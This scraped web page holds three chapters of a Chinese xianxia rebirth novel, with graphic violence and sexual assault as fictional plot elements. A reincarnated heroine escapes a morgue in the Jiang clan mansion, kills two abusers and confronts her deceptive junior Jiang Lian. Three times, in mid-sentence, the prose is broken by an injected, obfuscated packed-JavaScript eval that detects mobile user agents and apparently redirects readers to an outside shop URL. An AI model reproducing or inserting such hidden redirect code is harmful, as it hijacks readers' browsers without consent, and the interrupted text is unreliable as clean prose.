《被疯狗师弟觊觎的日日夜夜》 1. 博陵姜氏(1) 夜,死一样的寂静。 姜府后宅,一间废弃客房改成的停尸房里,阴气森森。 门轴发出一声沉闷的“吱呀”声,一个肥胖的黑影溜了进来,带着一股油腻的汗臭。他摸索着点亮墙上烛台,昏黄的火光映出一张猥琐的脸。 “嘿嘿,小少爷的眼光就是好,个个都是极品。” 胖修士搓着手,目光在并排摆放的七八具女尸上贪婪地扫过,最后停在最里侧的一具上。那具身体曲线格外玲珑,即便盖着白布,也看得出是个绝色。 他喉头滚动一下,迫不及待地走过去,开始解自己的裤腰带。 布料摩擦的声音,在这死寂中格外清晰。 “咳……咳咳!” 突然,他选中的那具“女尸”猛地呛咳起来,一口黑紫的淤血喷在白布上,直挺挺地坐了起来! “妈呀!诈尸了!” 胖子吓得魂飞魄散,裤子褪到一半,一屁股跌坐在地上,连滚带爬地后退。 可那“女尸”只是坐在原地,眼神空洞,茫然地抬起自己的双手。 喉咙好痛…… 让是被人刀子割过,每一口呼吸都带着血腥味。 这是谁的手?纤细,苍白,指节上只有一层薄茧…… 不是我的手。 我的手,骨节要更粗大一些,虎口和指腹上全是常年握剑留下的厚茧,像砂纸一样粗糙。 我是谁来着? 脑子里一团浆糊,无数破碎的画面闪过。 有十里红妆的盛大婚礼,有俊美如玉的男人在她耳边的温柔低语:“无瑕,我元朔此生绝不负你。” 对了!我叫叶无瑕。 我重生了! 重生在新婚之夜,喝下毒酒的那一刻! 那边胖修士见她只是发呆,色心又占了上风,从地上爬起,脸上挂着淫邪的笑:“嗐,原来没死啊。活的更好!来,小美人儿,把爷伺候爽了,爷保你离开这个鬼地方。” 他说着,就伸出肥腻的脏手,朝她抓来。 叶无瑕还在混沌中,身体却凭着战斗本能做出反应,条件反射般的一把扣住那只伸过来的手腕,快如闪电。 “嗷——” 胖修士闷哼一声,只觉得自己的手腕像是被铁钳死死夹住,钻心的疼,别说挣脱了,连动都动不了分毫。一个看起来风都吹得倒的小丫头片子,哪来这么大力气? “臭娘们!给老子松手!”他恼羞成怒,另一只手也恶狠狠抓了上来。 重生加上灵魂出窍,让她记忆缺失的厉害,可那油腻恶心的触感,像一把钥匙,瞬间打开地狱之门。 她想起大婚当夜,元朔给她的合卺酒里掺有“蚀仙散”。 他废她修为,断她双腿,挖出她的天生灵骨,转头给了义妹云裳。云裳楚楚可怜,说:“瑕姐姐,回头是岸啊。”然后将她像死狗一样,丢进了乱葬岗。 她的喜日变成了同门的忌日,最疼她的师父也在赴宴的路上下落不明。 后来她不惜以身饲魔,从尸山血海里爬出来,血洗了元氏那对狗男女,谁知却给她表哥天狩帝君做了嫁衣,不仅亲手害死了被他们囚禁折磨的师父,最终还被仙盟万箭穿心,挫骨扬灰。 恨! 恨意如岩浆,在她早已冰冷的四肢百骸中疯狂奔涌! “你他娘的!发什么呆!松手!”胖子见她双目赤红,神情癫狂,被吓了一跳,随即更加愤怒,用力地想把手抽回来。 他这一吼,将叶无瑕彻底从那无边无际的痛苦中拉回了现实。 空洞的眼神瞬间有了焦距,所有翻涌的恨意与杀气,尽数收敛成眼底一点冰冷的寒芒。 她扯了扯嘴角,忽然露出一抹极其诡异的笑:“好呀。” 下一秒,她抓着胖子手腕的手猛然发力,将他往前一拽,同时闪电般抬起另一条腿,狠狠一脚! 不偏不倚,正中要害。 胖子疼得整脸扭曲成了麻花,可惜还没来得及发出一声惨叫,便觉一道寒光从眼前略过。 “嗤——” 一根玉簪刺穿了他的喉咙,鲜血喷涌而出。 胖子捂着脖子,难以置信地倒在血泊中,身体抽搐了几下,便没了声息。 叶无瑕面无表情,甩了甩玉簪上的血污,慢慢插回发间,心中却在飞速复盘。 方才那胖子扑来,她下意识就想催动术法,可心念一动,才惊觉这具身体竟然无法凝聚灵流,好在战斗本能快过了思考,让她瞬间切换了搏杀手段。 难道这身体是个凡人?不应该啊。 正思及此,叶无瑕脑中忽然响起一个极为虚弱的声音:【抱歉叶姑娘……带你魂穿元氏大阵,耗尽了我的力量,我得睡一会儿……你自己,请先小心……】 “等等白磷!” 叶无瑕出声,但还没来得及叫住他,那声音先已截断,连同最后一缕微弱的灵流都消失无踪。 声音的主人名叫白磷,是在叶无瑕重生之后,帮了她的神秘力量。 前世无论如何都是死局,与其再经历一遍被元朔断腿挖骨的痛苦,不如赌一把,于是她拼着修为散去的最后一瞬,决定直接灵魂出窍,舍弃肉身逃走。 可是,灵体状态的消耗远超她的想象,而且元氏竟然加强了府邸禁制法阵,甚至不惜动用王族法宝“昊天镜”,来对付她这位上任仙盟荡魔神将。 她的魂魄根本无法突破,正在镜光的照耀下迅速消散,就在她的意识即将彻底沉入黑暗时,一团无比温暖柔和的光芒包裹住了她。 【喂!想活下去吗?快抓住我!】 弥留之际,叶无瑕问道:“你是谁?” 声音说:【我叫白磷,刚……刚好路过这里。其他的你先别管,只要知道我没有恶意就行。现在你的怨气正好可以帮我掩盖气息躲避追捕,咱们要不要合作一次?你抓住我的力量,我带去找个新身体。】 就这样,叶无瑕在白磷的帮助下逃出了元氏法阵封锁。 倘若她没有猜错的话,那猥琐男口中的“姜府”,应该是指北歧仙盟世家领袖中的博陵姜氏。 而姜氏所在的东莱国,与元氏领地有着千里之遥。 只是让她不解的是,白磷都能“昊天镜”和元氏大阵中来去自如了,都能带她魂穿千里了,怎么偏偏给她选了这么个身体,还一下子把灵力都用光了,他到底行不行? 还是说,追捕他的势力是比仙盟还要恐怖的大麻烦? 是不是大麻烦,叶无瑕是不知道了,但她猜白磷年纪应该不大,那种冒失的说话和行事方式,跟他稚嫩的童音十分相符,如果他是“人类”的话,最多也就十三四的年纪,暂时合作,也不无不可。 叶无瑕一边想,一边蹲下身子,动作麻利地解下胖修士腰间的佩剑和储物袋。 剑是凡品,袋里也只有几块下品灵石和一瓶疗伤丹药。聊胜于无。 她看一眼地上死不瞑目的胖子,眼神没有一丝波澜,突然手起剑落,“噗嗤”一声将那颗肥硕的头颅斩了下来。 上辈子叶无瑕在乱葬岗里待过,深知有些人生命力顽强,不多补一刀,说不定还能活,麻烦还是扼杀在摇篮里比较好。 随后,她站起身,借着剑身上映出的模糊倒影,打量自己如今的模样。 这是一张极为娇柔清丽的脸。 远山眉,桃花眼,樱桃唇,生的是楚楚动人,我见犹怜。 虽然和叶无瑕原本英气的长相是完全不同的类型,但那眉宇之间,却有着几分相同的果敢和坚毅。 随后剑身映出的景象向下,她看到自己白皙的脖颈上,缠了一圈染血的布条。解开一看,一道深可见骨的伤口赫然在目。 致命伤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406205|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来这身体的原主,是被人割喉而死…… 不,不对。 叶无瑕闭目凝神,再次尝试催动灵力,同时汇聚精神往灵府这么一探,心里却突然“咯噔”一下—— 灵府之中,一枚金丹已然成型,却从正中裂开一道深痕,使得灵气尽散,生机断绝。这并非外力击碎,更像是从内部崩解。 原主是在……自毁道基? 叶无瑕的目光倏然锐利。 她立刻起身,走向摆在周围木板上的数具尸体,将蒙尸的白布一一掀开。 只见白布之下,尽是些面容秀丽的年轻女修,她们灵府大都完好,但体内的元阴之气却被榨取得一干二净,如同枯井一般。 叶无瑕的目光先沉了三分。 不必说了,这些女修定是被人用做采阴补阳的炉鼎,死掉之后,就被人暂时丢在了这里。 而原主与她们情况截然相反,灵府金丹碎裂,但元阴之气完好,恐怕就是因为提前察觉到了贼人的歹意,宁为玉碎不为瓦全,抢在受辱之前自毁道基,持剑自刎,才彻底断了对方采补的念想。 能够结丹意味着原身修为半只脚已经踏入四重了,这是天下多少修士一生无法突破的瓶颈。 看来原主还真是个性子刚烈的姑娘。 叶无瑕知道仙盟曾经下过明令,禁止修士搞这些采补害人的手段进行修炼;却也知道,仙盟中大多都是些道貌岸然之人,经常是表面一套,背后一套。 否则,自己当初就不会被人陷害,挖去灵骨了。 只是她没想到,这些女孩子死后还有可能被糟蹋,更想不到,姜氏之人竟然也参与其中,而且在族中的地位恐怕不低。 但叶无瑕现在没时间深究这些,一个死而复生的“炉鼎”,是姜府龌龊勾当的活证据,他们绝不会放过她。 而这副身体不能凝聚灵力,和个普通凡人基本没啥两样,刚才够能杀死那个二重修为的猥琐男已是沾了偷袭的光,所以当务之急,是要先赶紧逃离此地。 叶无瑕在屋子里摸索一圈,搜刮完所有能用的东西,又看了一眼地上的无头尸,想了想,还是走过去,一剑将他的作案工具也给剁了。 做完这些,她才终于觉得心头那股翻涌的恶气顺畅了些,悄无声息地溜出了门。 夜风吹开乌云,月光照亮庭院。 黑夜之中,叶无瑕将自己的身形藏在阴影里,悄无声息的前进着。 姜氏是北歧第一修仙世家,府宅极大,到处都布有迷阵结界,好在她上辈子什么阵仗没见过,加上从胖子身上摸来的腰牌,倒是能勉强避开大部分禁制。 而且由于迷阵够强,巡逻的护卫就也不多,大多都是些没有修为的普通人,一路上,叶无瑕倒也畅通无阻。 然而就在她即将绕出后宅的时候,有少女的哭声突然划破夜空。 与此同时,对面假山后走来两个修士,叶无瑕立刻闪身躲进树丛。 “唉,又来一个,这都第几个了?” “谁知道呢,少爷精力好着呢,快回去躺会儿吧,明早又要出城抓新的。” “都这么多了,还不够啊?” “涨修为么,这不是仙盟大选又要到了吗……” 两人交谈着渐渐走远,对话便也听不清了,唯有那少女的哭声仍然断断续续。 叶无瑕从阴影中探出,望向旁边那灯火通明的画楼,目光森寒。原来这里便是那残害女修之人的住所。 若是照她以前的性格,她肯定就要冲进去救人了,但如今…… 叶无瑕咬了咬牙,心说她现在就是泥菩萨过江自身难保,去了也没用,还是先别管那闲事了吧。 她狠下心来,转身大步离去。 “救命啊!救命——” 哭声再度响起,叶无瑕忽然顿住脚步。 可是,她听到了。 2. 博陵姜氏(2) 等到叶无瑕再回过神来,她人已经进了楼子。 第一层灯火通明,越往高处却越暗,层峦叠嶂的红纱慢遮住烛光,空气中,还弥漫着一股奇异的香气。 这让叶无瑕本能地想起一些不好的回忆,于是她割下衣角蒙住自己的口鼻,然后才慢慢向着那音源的方向探去。 叶无瑕这个人呢,可以说是有些倒霉在身上的。 她天生灵骨,是百年难遇的修炼奇才,从小就展现了极高的天赋,母亲是北歧皇族长公主,所在的叶家,也是仙盟中赫赫有名的世家大族。 这样的身份,本该让她顺风顺水一辈子,可没想到四岁那年,她父母竟在讨伐南诏妖国的战争中死掉了,叶氏也从此一落千丈。 后来,她被叔父收养,六岁送去瑶光门修行,十七岁时学成出山,为了完成父母未竟的事业加入仙盟,随后克南诏诛妖王,出生入死屡建奇功,年纪轻轻便当上了仙盟至高统领——荡魔神将。 但万万没想到她的表兄七皇子竟然抢她功劳,将那诛杀妖王的名号按在自己头上,不仅借此平叛了皇族内乱,还一举当上了新任帝君。 王戟说:“表妹,你身为女子,锋芒太盛,在南诏屡建奇功又激进改革,已经引得仙盟几大势力联合不满了,我思来想去做这个决定,实际上是为了保护你啊。” 叶无瑕最开始是觉得没什么。 因为她这人一向对名利看的很淡,又很讨厌出头,心想反正都是为了保护北歧,功劳算在谁头上都无所谓。 而且表兄为了弥补她,主动提出帮她重振叶氏,利用帝君权利给她不少赏赐,甚至帮她牵线与另一仙门大家元氏联姻。 那元氏的大公子少有美名,长得也是一表人才,以前在仙盟之中,不知是多少年轻女修的梦中情人。叶无瑕需要世家大族的力量,看元朔也还算顺眼,两人以前一起共事时他就几番示好,于是就这么答应了。 可是直到后来,她才明白自己这是上了贼船,被她表哥和前夫哥合伙给坑了。 哪怕上天宠爱一次,让她重生,也偏偏是在大婚之夜,她已喝下毒酒的那一刻。 好像有人故意跟她开玩笑,每一次,事情都在出现希望时又跌入谷底。 就连现在好不容易在白磷的帮助下逃离元氏,她也不知为何莫名其妙到了姜氏府中,而且所借的这具身体,还没办法凝聚灵力…… 烦死了。 叶无瑕揉了揉眉心。 不过,她这次决定救人却也并非一时脑热,而是发现自己直接逃走的危险更大。 首先是那张令牌。 大多数的仙门世家都会在自己地盘内设置结界,同时为了方便弟子或门客出入,会按照身份等级分发令牌给他们。 叶无瑕目前手中的是张低等门客令牌,虽然在姜氏府中基本畅通无阻,但是如果想要离开这里,便极有可能会触发结界的警报。 其次是她现在的身份。 这具身体是被姜氏抓来采阴补阳的炉鼎,就算她今晚运气好真的逃了出去,等隔天姜氏发现停尸房女尸不翼而飞,肯定要发追杀令的,而她现在基本上和凡人无异,只要修士一开神识,就能轻易找到她。 所以,综合考虑,潜入楼里,或许是她目前死局的唯一生机。 前世元朔云裳将她丢进乱葬岗后,怕她那个护崽的师父寻仇,就一并将瑶光门也铲除了。后来叶无瑕曾偷偷遛回瑶光门,想为师父他们埋尸骨,没想意外闯入后山秘境,得到一份修炼魂力的无上心法。 那心法玄妙至极,即便只剩一缕元神,也能凝炼神识修炼道心。 上辈子她靠这心法不堕魔道,重生之后,这能力竟也毫无打折的随她穿过来了,正适合她如今肉身破碎灵脉断绝的境况。 因此现在她虽然动不了灵力,魂力却不受影响,而且如果有可能的话…… 她想直接夺舍了那姜氏之人! 少女的哭声越来越近,昏暗的灯影下,叶无瑕宛如深夜潜行的幽灵,借着一阵微风,悄然钻入屏风之后。 她暂时不敢靠的太近。 对方修为不低,周身还散布着一层淡淡的气,比之刚才那个猥琐男不知高出几个级别。夺舍活人是精神与修为的双重比拼,凭她现在这具身体,也就只有三成把握,若想以弱胜强,就必须出奇制胜。 “啊——” 随着“咚”的一声闷响,那少女发出惨呼,另一个公鸭嗓的男声却狞笑起来:“别跑了,没用的,你若乖乖听话,本公子说不定之后还能给你个名分。” 那声音听着年纪似乎不大,语气却是十足的油腻猥琐。 叶无瑕眉心不可抑制地拧起,探头出去想看看外面情况,没想到她这一看不要紧,差点惊得叫声出来。 那人竟是她的师弟姜怜?? ……咦? 不对,好怪。 再看一眼。 她依稀记得姜怜年纪跟自己差不多,怎么这么多年过去,还是个少年人的模样? 叶无瑕又仔细端详一阵,才发现那人并非姜怜,只不过和他长得有几分相似罢了。方才烛光昏暗,再加上只看了个侧脸,所以认错了人。 她想起姜氏家主有三子,顿时心下了然,这少年估计是姜怜那位嫡出弟弟。 名字叫什么来着?好像是姜浮。 听说此人资质一般,却被从小娇生惯养,平时出了事有姜氏兜底,便渐渐形成了个跋扈的性子,也难怪会做出这种伤天害理之事。 想到这里,叶无瑕握紧了手中的剑,慢慢向姜浮靠去。 “放开我!救命,救命啊!” 少女拼命挣扎,好不容易挣脱开逃走,可没跑几步又被捉住。 姜浮却好像十分享受这种猫捉老鼠的游戏,满脸狞笑:“你逃不掉的。” 终于,少女精疲力尽,被姜浮按在了地上。她发出一声绝望的哀嚎,好像小鹿临终前的呜咽,泪水模糊了视线。 可就在这时,她突然看到一道黑影出现在姜浮身后—— 叶无瑕目光灼灼,抬起一根手指放在唇边,做了一个噤声的手势。 那少女惊得连忙闭上嘴巴,心跳如擂鼓。 与此同时,姜浮却似察觉到什么异样,猛然转过头去:“谁?!” 然而…… 他的身后空空荡荡,竟什么都没有。 “嗯?是错觉吗?” 姜浮心中纳闷,正欲凝神细查,却忽然感觉手臂一疼,惨叫起来。 原来那少女也十分灵光,一见情况不妙,便立刻狠狠咬了姜浮一口转移他的的注意力。 “臭婊子,找死!”姜浮顿时勃然大怒,一掌掴在少女的脸上,“嗤啦”一声扯破她的衣服。 少女蜷缩起来,浑身颤抖,但她这次没有逃,她在忍耐,她想给叶无瑕争取时间。 “好,很好。” 姜浮冷笑,以为少女终于认命,开始慢条斯理的解衣带,就连周身的戒备也为止一松,然而下一秒,他突然感到背后寒意袭来,紧接着便是一阵钻心的巨疼传遍全身。 仿佛有什么东西剥离了他的身体,姜浮垂下头,只见身下一片血红,忍不住大脑一片空白,不可抑制地惊叫出来。 好机会! 叶无瑕心中低呼,长剑向上微微一挑,趁他精神崩溃的瞬间,直刺姜浮的背心。 但姜浮到底与那门客不同,在这危机时刻,他竟然不忘防护背心,周身突然爆出一阵灵威,将叶无瑕肉身弹了出去。 “是你?你还活着?!” 姜浮回头看清来人,狂吼一声,将叶无瑕认作了先前被他害死的女修,一下扼住她的咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406206|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉。发觉自己方才竟被这个金丹破裂、没有灵力的废人给阴了,更是怒不可遏。 霎时间,旧时的伤口崩裂,鲜血涌入喉头,叶无瑕感觉视线越来越模糊,可是嘴角却逐渐浮起一丝诡异的笑容。 “!” 姜浮顿时寒毛倒竖,本能地想要后退,却发现为时已晚。 他的身体忽然不能动了,魂魄好似被人扯住,想要生生将他扯成碎片一般。 夺舍术式已经完成,叶无瑕眼看就要成功,可就在这时,忽听身后一声尖叫响起:“啊啊啊啊啊啊啊!!!不要伤她!”竟是那少女冲了过来! 下一瞬,姜浮鲜血飞溅。 原来那少女以为叶无瑕为了救她要被姜浮掐死了,于是想也不想,拾起叶无瑕掉在地上的剑,便刺穿了姜浮的胸口,却不知此举差点连叶无瑕也误伤了。 叶无瑕大惊失色,连忙将魂魄缩了回来,正赶上被喷薄的鲜血溅了一脸。 那少女一边哭,一边叫,明明浑身抖的厉害,可手下却丝毫留情,一剑一剑狂捅姜浮的尸体,哪怕对方已经变成个血人,死的透透了,竟也停不下来。 直到叶无瑕出声阻止,她才“哐当”一声松了剑,然后浑身脱力倒在叶无瑕怀中,径自嚎啕大哭起来:“王姐姐,我好怕,咱们这是要死了吗?” 叶无瑕:??? 叶无瑕几乎目瞪口呆,看一眼血泊中姜浮那破败不堪的身体,心说幸好她刚才反应快,不然的话……她忍不住打个寒颤。 然而恰在此时,叶无瑕忽觉眼前一黑,脑中随即闪过一连串画面,仿佛做了个冗长而沉闷的梦。 “师姐?” “师姐小心!” “师姐……我终于保护你了……我是不是……很厉害?” 她听到有人喊她师姐,万般眷恋,为她挡下一剑,然后倒在她的怀中。 那模糊的黑影慢慢清晰,竟然逐渐与眼前少女的模样重叠。 叶无瑕心头不由得咯噔一下,心想这萍水相逢的陌生少女怎会出现在她的脑海里?重生后她记忆缺失的厉害,但她怎么都记不起自己有过这么一个师妹。这让她一时无法确定,这些画面究竟是来自她的前世,还是自己觉醒了什么预知之能,看到了少女的未来。 “王姐姐,王姐姐?” 叶无瑕正想着,忽被少女的呼声拉了回来。 她察觉叶无瑕的异状,抬起摩挲的泪眼,看到叶无瑕颈间鲜血淋漓,便又是惊呼一声:“啊?!怎么伤口裂开了?” 听这语气,好像是将她当做原主了,而且原主脖子上的伤,大概就是这少女帮忙处理的。 “怎么办……怎么办……” 少女说着说着哭起来,颤着双手在姜浮尸体上摸来摸去,好像想找他身上是否带着止血丹药,口中还不住喃喃道:“拜托了,拜托了,一定要有啊……” “我没事。” 叶无瑕连忙制止她,摇了摇先前搜刮来的丹药,吞下一颗,以让少女安心。然后又道:“但我不是你的王姐姐,这具身体的原主已经死了,我不过暂借而已。” “什么?王姐姐她……” 少女闻言大吃一惊,紧接着泪水又是夺眶而出,声音哽咽:“那你是……” “稍后再跟你解释,”叶无瑕抬手打断她,“此地不宜久留,咱们先找这人身上的令牌,逃出去再说。” “啊,是是是!” 少女恍然想起自己的处境,也连忙和叶无瑕一起弯下腰,从那尸身上翻找起来。她依稀记得方才找药时摸到一块硬物,翻出一看,竟还真是令牌。 “找到了!” 少女不由欣喜若狂,正欲将那令牌递出,没想到一抬头,整个人却似见鬼一般呆住了,指着叶无瑕身后惊恐道: “那、那、那、那是……” 3. 博陵姜氏(3) 昏黄的灯光下,少女脸色惨白,指着门外一道颀长的人影惊恐万分。 叶无瑕循声回过头去,口中无声念出一个名字: “姜怜?” * 听到动静,青年抬起头。 鸦青色的长衫,衬得他皮肤有种病态的苍白。一头乌发松松地用红绳束着,耳垂上那颗血红的玛瑙珠子,艳得像要滴出血来。 明明是十年未见的故人,叶无瑕却一眼就认出了他。那双看谁都像含着情的琥珀色凤眼,眼角下那颗小小的泪痣,都和记忆里分毫不差。 只是,少年时那点青涩彻底褪去,如今的他,美得像一柄淬了毒的玉刀。 叶无瑕握剑的手骤然收紧,指节泛白。 姜怜怎么会在这里?他认出自己了吗? 不……不可能,这具身体早已换了模样,他到底想干什么? 她正惊疑不定,没想到姜怜却身形一晃,像被满屋子血气冲撞到了,突然爆发出一阵撕心裂肺的咳嗽:“咳……咳咳咳……” 他咳得那样厉害,整个人顺着门框滑坐在地,蜷成单薄的一团,像要把肺咳出来,说话也颠三倒四,抖得不成样子:“别、别抽了……我不跑……我的血真的不够了……求求你们,别抽了……” 那身后的少女听得心都碎了,眼中惊惧转为怜悯,壮着胆子扯扯叶无瑕的袖子,问道:“姐姐,他好像也是被那恶贼抓来修炼的可怜人,你看我们要不要帮帮他?” 叶无瑕眼皮狠狠一跳,心说要不是她早知道这人嘴里没真话,差点就信了。 她没说话,脚下却极其戒备的退了半步,手中长剑横在胸前,这是个绝对的防御姿态。 可还未等叶无瑕拿定主意,那团缩在地上的影子突然哀嚎一声:“疼……好疼……让我死……让我死吧!” 姜怜用力掐着自己的脖子,指甲在惨白的脖颈上抓出道道血痕,看到叶无瑕手中的剑,竟然直接对着自己胸口冲了上去,好像死亡对他是一种解脱。 “小心!” 叶无瑕惊呼一声,这一切发生的太快,她甚至没来得及思考,下意识手腕一转,就让剑锋偏离擦着他的肩头滑了过去,另外一只手将他拉了过来。 “嗤——” 一声轻笑陡然划破空气,叶无瑕心里“咯噔”一下。 该死,又他被骗了。 再看姜怜,他已抬起了头,脸上那痛苦的病态一扫而过,取而代之的是诡计得逞的笑,像一只狡猾的狐狸。 哪怕隔了一世,叶无瑕看到这张脸,还是觉得脑仁疼的抽抽。 什么博陵姜氏的麒麟儿,什么姜家光风霁月的“芝兰玉树”。 仙盟那些人大概都是瞎了眼,看不出这厮分明就是棵黑的流油的毒草,而且还是随时随地发疯那种! 他们两人的梁子从第一面就结下了。 那年三九隆冬,叶无瑕十五岁,奉师命接引这位即将来瑶光门游学一年的师弟。 她雪地里等了一上午,都没见到姜怜的人影,本以为他在路上出事了,结果翻遍十几个山头,最后在一家酒馆里找到了他。 这小子当时喝的烂醉狂得没边,指着她鼻子说:“想当我的大师姐?打赢我再说。” 叶无瑕当场气笑,三招之内教他做人,可等到问他服不服时,这厮竟然醉的睡着了。 叶无瑕咬牙切齿,只能忍痛帮他垫了酒钱,冒着鹅毛大雪把他背回山门。好不容易把他扔上床,姜怜却突然拽住她的袖子不撒手。 他在梦中哭着喊姐姐,求她不要走,还说爹娘死后他的亲人只剩姐姐。 叶无瑕一个心软,决定留下来陪他。结果第二天不知怎地就睡到他床上去了,还被那厮反咬一口,说她占他便宜,非要让叶无瑕负责,引得全师门都来围观,害她大师姐的威严碎了一地。 就连一起出任务也是,他上一秒还捂着胸口说“师姐我怕”,下一秒就能笑着把敌人天灵盖给掀了,平时种种,更是鸡飞狗跳数不胜数。 直到后来叶无瑕进了仙盟才知道真相:原来她这位死对头师弟出身显赫,修为绝顶,千杯不醉,全家健全,更没什么姐姐!! 打那以后,她对姜怜的印象便只有“坑蒙拐骗”这四个字。 旧恨未消,又添新仇。 叶无瑕越想越气,猛地一把将他推开,借力后撤,手中长剑寒光一闪,直指他的咽喉。 谁料姜怜非但不躲,反而顺势慢条斯理地拢起袖子,对着那明晃晃的剑锋谦谦一拜,温雅至极:“师姐,好久不见,欢迎回来。” 叶无瑕顿时浑身僵硬,握剑的手差点不稳。 他认出我来了? 不,不可能。 她如今借尸还魂,早就不复原来模样,而且元氏将他们的恶行捂得死死的,上辈子足足等了三年才公布她的死讯。姜怜这厮一定是在诈我! 叶无瑕压下心中惊涛,强作镇定道:“什么师姐?谁是你师姐。” 两人之间仅隔几步距离,中间还横亘着一具逐渐冰凉的尸体,那是姜怜的亲弟弟。叶无瑕满心戒备,只等对方暴起发难。 然而下一刻,令她毛骨悚然的一幕发生了。 姜怜就像没看到地上的尸体一般,径直朝她走来,靴底毫无滞涩地踩过姜浮的身体,仿佛那只是块挡路的烂木头。 他极其自然地执起叶无瑕的手,用自己的衣袖帮她拭去上面的血渍。 “是你啊,我的师姐。”他长睫垂下,“以后杀人这种粗活,我来就好。” 疯子。 叶无瑕只觉一股凉气直冲天灵。 且不说他究竟是如何认出自己,光是这份对待血亲的冷血就让她胆寒。叶无瑕忽然想起前世元朔挖她灵骨时,曾经洋洋得意跟她炫耀,说多亏她的师门出了一位叛徒,才让他们如此轻松的就血洗了整个瑶光门。 难不成…… “刚才楼上什么声音。” 然而就在这时,外面忽然传来一片嘈杂,打断了叶无瑕的思路。 “不知道啊,莫非世子出事了?” “……上去看看!” 好像是方才的打斗引来了巡逻的门客,小楼的地板轻颤起来,脚步声越来越近。 叶无瑕顿时面色一沉,转身将长剑塞到少女手中:“拿上东西,你快逃走。” 那少女还是懵懵的:“啊?可是……” “快!”叶无瑕不由分说,将那少女猛地推到阳台外廊,反手“砰”的一声合上门栓,只留自己与姜怜对峙。 她转身,看到姜怜正站在她身后,眉眼弯弯,笑容乖巧又明亮,仿佛刚才生死一线的紧张与他毫无干系。 “叛徒是你吗?”叶无瑕沉声道。 姜怜脸上的笑容顿时僵住。 他像是没反应过来似的,怔怔看着她,片刻之后眼眶红了,声音委屈而又低哑,仿佛不敢置信:“……师姐觉得,是我?” 那一瞬间的破碎感太强,叶无瑕心里“咯噔”一下,顿时有些后悔自己是不是有些太过武断,冤枉了姜怜?可她上辈子就是因为吃了心软的亏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406207|200523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才落到如此境地,如今姜怜嫌疑最大,她不得不做最坏打算。 念头还未转完,叶无瑕忽觉眼前一暗,看见姜怜对她伸出手来。 她全身的肌肉骤然绷紧,握着剑的手腕猛地一沉,就要出剑。 但姜怜径直略过她,一把扯下床上的被子。 厚重的锦被落下,带起一阵风,吹得房中烛光闪烁,薄纱乱舞,也迷了叶无瑕的眼睛。 姜怜咬咬牙:“别说话。” 而与此同时,楼中脚步声已近在咫尺,巡逻的门客提剑冲开门,急声道:“世子,您没事吧——” 突然间,门客的声音顿住了。 透过那薄如蝉翼的纱帐,他们只见眼前的男子长发散乱,半裸着上身,背脊如玉,身下还露出一节嫩藕似的玉臂,软软环在他腰间,好一幅香艳的画面。 几个门客顿时楞在原地,进也不是退也不是,空气仿佛凝固住,不知是谁吞了一下口水,听来竟格外明显。 “还要我说几遍。” 直到纱帐之后的人影深吸一口气,抬起头,乱发之中露出一只冷厉的眼睛:“滚。” “啊!是、是!” 那几个门客方才大梦初醒一般,你推我搡地滚下楼去。 房间中灯光昏暗,姜怜和他弟弟本身就有几分相像,加之头发散乱,门客便将他们认错了。而那真正的尸体和血迹,正好被两人的身影挡住。 世界终于又安静了。 被子底下,空间狭小又憋闷。 叶无瑕能清晰地听到彼此的呼吸和心跳。姜怜的呼吸就喷在她耳廓上,热得发烫,属于另一个人的体温和气息将她完全包裹,让她浑身不自在。 “可以放开我了。”她冷冷地说。 头顶上的人没动。 “姜怜。” 他还是没动,反而变本加厉,把头埋进她的颈窝里,像只大猫一样蹭了蹭。 “师姐,”姜怜声音闷闷的,带着点鼻音,听起来委屈极了,“你刚才冤枉我。” 叶无瑕:“……” “你是不是该跟我道个歉?”姜怜说。 “……对不起。”她从牙缝里挤出三个字。 “没诚意。”他哼唧道,“你心跳得那么快,身体也这么僵硬,分明还在防着我。” 叶无瑕深吸一口气,放弃了挣扎:“我没有。” “你有。” 姜怜忽然抬起头,在昏暗中,他的眼睛亮得惊人,就这么直勾勾地盯着她。 “你一边说着对不起,”他的目光缓缓下移,落在两人紧贴的腰腹之间,唇边勾起一抹讥诮的弧度,“一边却在偷偷摸匕首……师姐,这就是你的道歉吗?” 叶无瑕的目光也跟着下移,落在手中那把离他腰侧半寸的匕首上,沉默了片刻。 “抱歉,我只是习惯手里有刀。”她声音里听不出任何情绪,慢条斯理地把匕首抽了回来,“你若不喜,我拿开就是。” “没关系,我喜欢。” 姜怜笑得毫无芥蒂,伸手便要去扶她。 然而就在指尖即将相触的瞬间,叶无瑕眼中寒光一闪,收回的匕首以一个极其刁钻的角度,闪电般直取他眉心! 